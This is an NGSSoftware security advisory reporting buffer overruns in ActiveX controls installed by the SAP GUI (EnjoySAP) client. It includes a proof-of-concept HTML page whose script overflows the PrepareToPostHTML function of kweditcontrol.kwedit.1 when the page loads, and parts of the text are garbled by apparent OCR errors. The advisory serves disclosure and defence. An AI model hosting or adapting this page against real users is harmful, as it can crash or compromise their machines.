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EnjoySAP, also know as Enjoy is the most popular SAP GUI used today. The
latest version can be obtained from ftp:/ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no

ability to inject content into these created files) and a number of
bufferoverruns.
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Technical Details

Control — kweditcontrol.kwedit.1 (Marked Safe For Scripting)

Function — PrepareToPostHTML
DLL Path — C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dl|
POC:

<HTML>

<HEAD>

<META http—equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()

{

var foo =",

for(var icount = 0; icount < 1060; icount++) { foo = foo + "x";
}

var ngssoftware;

ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");

ngssoftware["PrepareToPostHTML"](foo);
}

[[——>

</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>

Fix Information

Please enrue you are running the latest version

NGSSoftware Insight Security Research

http://www.ngssoftware.com/
http://www.databasesecurity.com/

http://www.nextgenss.com/
+44(0)208 401 0070
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